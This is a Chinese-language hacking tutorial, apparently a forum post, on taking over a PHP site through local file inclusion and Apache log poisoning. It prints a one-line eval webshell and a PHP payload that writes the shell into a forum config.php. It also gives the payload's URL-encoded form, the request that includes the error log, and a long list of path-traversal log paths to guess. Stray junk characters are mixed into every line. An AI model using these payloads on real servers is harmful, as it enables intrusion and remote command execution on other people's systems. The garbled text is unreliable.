因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
! H, c/ M; H) |) A8 V9 B1 Z! e# [" ~+ d& y
比如还是这句一句话木马
) f0 a6 T- H- J: `7 j7 }* ^<?eval($_POST[cmd]);?>
( x1 O' a: L5 W7 {8 K8 [/ ? F G7 i- ^ w. G7 y* `
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, & j* `% G6 a, ~/ d% k
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 3 T4 w) n- P, W2 O! {- f9 u5 u
$ n4 f. E1 Y# }3 ^/ }, Z
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
, @, Q, P- q; A1 kfclose($fp);?> //在config.php里写入一句木马语句 6 W0 s0 }+ Y& b
! `" t* `5 \: E7 d: N. o# }1 U我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
' z& U7 k' ]: f, a& w0 \* F# J5 |! O转换为
3 K( m, w. `& M% k1 n+ p! v%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F , S' x7 {5 @" q+ s) R. A/ ]/ _
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 2 R' R6 v4 N4 y& B! W% L4 U3 N
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B 6 O! W" L9 n9 C6 `
fclose%28%24fp%29%3B%3F%3E
! y8 c0 z% w. y我们提交 - D1 P# H* a K4 H3 I6 s! u4 K
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
3 ]3 B1 R& Y( P& f3 X7 y%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp ' A4 R' N2 t2 d9 `$ W, B/ P6 P
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B 7 C6 U3 }% ~" ^% d- `, Z
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 3 |( |* P2 `6 V+ a
4 t U( `/ k8 P% r! `1 C) y! z
这样就错误日志里就记录下了这行写入webshell的代码。 2 y; S' o% |: e+ K
我们再来包含日志,提交
. ^) W, h3 ]* G# }http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
5 k! f7 k, e: A; i: J# j; g& [0 @8 B& _8 R
这样webshell就写入成功了,config.php里就写入一句木马语句 ; `3 m Q, \5 d7 p; ^
OK. 3 e' S# M7 Q& s/ U- c
http://www.xxx.com/forum/config.php这个就成了我们的webshell
X; R" B# C* h: r直接用lanker的客户端一连,主机就是你的了。
# L$ w- c" q- o4 H7 D1 S$ n
% d! W2 Q. J9 u* q' y4 k* I( t2 OPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
: l; b- X0 {; t- m
5 Z! T! A+ r0 R其他的日志路径,你可以去猜,也可以参照这里。
2 w I" a& d# u; n) v& D& `1 W../../../../../../../../../../var/log/httpd/access_log I, A1 d' N) L+ E
../../../../../../../../../../var/log/httpd/error_log
# W s% A) F a. m7 z1 P& g9 A: P/ z../apache/logs/error.log
, W) A. f! K, E6 S7 @../apache/logs/access.log
. d0 m- L6 |& ~9 \3 O, U' O6 b../../apache/logs/error.log 3 c. ^. H- m) R* U0 I0 ^
../../apache/logs/access.log
5 z6 ]5 N6 x8 K( @* T3 D* G../../../apache/logs/error.log
$ V! |) t0 Q' s../../../apache/logs/access.log 4 A6 k; s$ ]+ [% m+ W" m
../../../../../../../../../../etc/httpd/logs/acces_log
& F$ ]' _$ t" }../../../../../../../../../../etc/httpd/logs/acces.log
- z* q! w! }7 \4 W6 x1 B../../../../../../../../../../etc/httpd/logs/error_log & T+ I* k: V- o
../../../../../../../../../../etc/httpd/logs/error.log
( U' P- X, n+ _ O../../../../../../../../../../var/www/logs/access_log
9 o. Q" ]; s/ t* @2 E../../../../../../../../../../var/www/logs/access.log
: m+ j4 {+ K7 r6 p7 J5 ~7 a% L' T../../../../../../../../../../usr/local/apache/logs/access_log & \" Y1 Y, d: k2 Z! H
../../../../../../../../../../usr/local/apache/logs/access.log
2 O% ]3 n" Z' J/ u$ e/ b, ^3 w../../../../../../../../../../var/log/apache/access_log
( |: B, J( x3 p5 ^7 f1 O% B../../../../../../../../../../var/log/apache/access.log $ `, \" ?" m" I0 g: p. n
../../../../../../../../../../var/log/access_log / j N4 U3 I) e% W' u8 ^
../../../../../../../../../../var/www/logs/error_log 7 C) k# ]$ ~! m) P( B& I+ Y
../../../../../../../../../../var/www/logs/error.log
3 W$ \0 f6 b& D1 c../../../../../../../../../../usr/local/apache/logs/error_log
: l0 q; G8 X6 H../../../../../../../../../../usr/local/apache/logs/error.log 7 d, Q% p' W3 j
../../../../../../../../../../var/log/apache/error_log 1 N0 B( m1 o( h
../../../../../../../../../../var/log/apache/error.log
3 ?: U. a6 d7 ` Y w0 i: l: n../../../../../../../../../../var/log/access_log ( }9 m6 W% z2 v1 l7 ?, D# I
../../../../../../../../../../var/log/error_log
% g) W& o3 K$ C$ K$ h6 D) N4 f2 x/var/log/httpd/access_log 4 c; Y& K( \* z( r7 B
/var/log/httpd/error_log
" a q) i O( W& l../apache/logs/error.log
& y; }) i4 B; s3 X6 u9 Y../apache/logs/access.log
6 v+ i+ a; R+ _- v- c../../apache/logs/error.log
# ^, X$ c& t6 s, x../../apache/logs/access.log ' o1 Z* l7 { i- T7 `- ^ r; j! ^
../../../apache/logs/error.log
6 m7 @1 L2 x( q( g# \../../../apache/logs/access.log & Q5 c9 A- O) K1 T/ R7 ^8 q/ \
/etc/httpd/logs/acces_log * `" j( Y- y. i
/etc/httpd/logs/acces.log ; u3 h2 M% S* h9 }# h3 j
/etc/httpd/logs/error_log
/ f: D m4 ~6 _/etc/httpd/logs/error.log
! u* `, l' Y0 I9 d* e: V. W/var/www/logs/access_log / [" g7 H0 L ^/ ~2 k9 w( T% E7 u
/var/www/logs/access.log
* z3 C& W; O2 Q, r/ X# `; Y" G/usr/local/apache/logs/access_log
' Q$ T! m+ W: {& c# ?! Y/usr/local/apache/logs/access.log 6 U! A% i% C$ \( Z0 u
/var/log/apache/access_log
- H; q! y# P k5 L: [# A: [8 P/var/log/apache/access.log
5 U, `9 {& E9 \# P6 G% H/var/log/access_log
0 P' a4 I' f- I0 J6 V1 r V. f/var/www/logs/error_log
2 g/ O4 g' b* Q4 A/var/www/logs/error.log 5 B: Z# U- [/ R6 z3 _0 H7 U* ^* b
/usr/local/apache/logs/error_log
1 F7 ]3 B6 ~4 H6 q/usr/local/apache/logs/error.log
* a: E( M2 P* a8 |5 ^# o. E5 H/var/log/apache/error_log 8 h/ }: b6 l! t4 t4 y5 i, N# D
/var/log/apache/error.log
8 d: t5 W0 v4 `- {* R4 D6 b/var/log/access_log * E5 o# y8 N: X7 c3 w, b9 ~
/var/log/error_log |